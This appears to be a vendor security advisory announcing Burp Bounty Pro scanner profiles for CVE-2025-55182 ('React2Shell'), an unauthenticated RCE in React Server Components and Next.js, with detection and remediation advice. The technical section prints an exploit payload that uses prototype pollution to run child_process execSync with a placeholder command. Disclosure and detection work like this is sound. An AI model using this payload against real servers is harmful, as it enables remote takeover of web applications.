Executive Summary

We have released three new detection profiles for CVE-2025-55182, a critical Remote Code Execution vulnerability affecting React Server Components and Next.js applications. With a CVSS score of 10.0 and active exploitation in the wild, this vulnerability poses an immediate threat to millions of web applications worldwide.

What is React2Shell?

CVE-2025-55182, dubbed "React2Shell" by security researchers, is an unsafe deserialization vulnerability in the React Server Components (RSC) Flight protocol. Discovered by Lachlan Davidson from Assetnote on December 3, 2025, this vulnerability allows unauthenticated attackers to achieve remote code execution on affected servers.

Key Facts

Affected Versions

Active Exploitation

Observed threat actors include:

• Chinese APT groups (Earth Lamia, Jackpot Panda)
• Cryptomining operations
• Cobalt Strike deployment campaigns

The ease of exploitation (single HTTP request, no authentication) combined with the widespread adoption of Next.js makes this vulnerability particularly dangerous.

Technical Analysis

The Vulnerability

React Server Components use a protocol called "Flight" to serialize and transmit component trees between server and client. The vulnerability exists in how the Flight protocol deserializes incoming data from HTTP requests.

The exploit chain works as follows:

1. Attacker sends a POST request with malicious multipart form data
2. The payload uses JavaScript prototype pollution via __proto__ to manipulate object behavior
3. The polluted prototype chain allows access to process.mainModule
4. Code execution is achieved through require('child_process').execSync()

Exploit Payload Structure

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process')
               .execSync('COMMAND').toString().trim();;
               throw Object.assign(new Error('NEXT_REDIRECT'),
               {digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

The exploit abuses the Flight protocol's reference system ($1:__proto__:then) to achieve prototype pollution, then leverages JavaScript's prototype chain to gain code execution.

New Burp Bounty Pro Profiles

We have developed three detection profiles to cover different scanning scenarios:

Scanning Recommendations

Immediate Actions

1. Update your profiles using the built-in update mechanism
2. Scan all Next.js applications in your scope
3. Prioritize internet-facing applications - these are most at risk
4. Check for indicators of compromise if vulnerabilities are found

Detection Strategy

We recommend using the profiles in the following order:

1. Start with CVE-2025-55182_React2Shell_RCE - fastest detection method
2. Use OOB profile if standard detection fails (WAF bypass, blind environments)
3. Use Windows profile for Windows Server deployments

Remediation Guidance

If You Discover Vulnerable Applications

Post-Incident Actions

If exploitation is suspected:

• Rotate all secrets, API keys, and credentials
• Check for web shells and backdoors
• Review server logs for suspicious activity
• Conduct forensic analysis
• Report to your security team

References

Conclusion

CVE-2025-55182 represents a critical threat to the React/Next.js ecosystem. With active exploitation ongoing and a CISA remediation deadline of December 19, 2025, immediate action is required.

Update your Burp Bounty Pro profiles today and scan your targets before attackers do.

Stay safe. Hack responsibly. 🛡️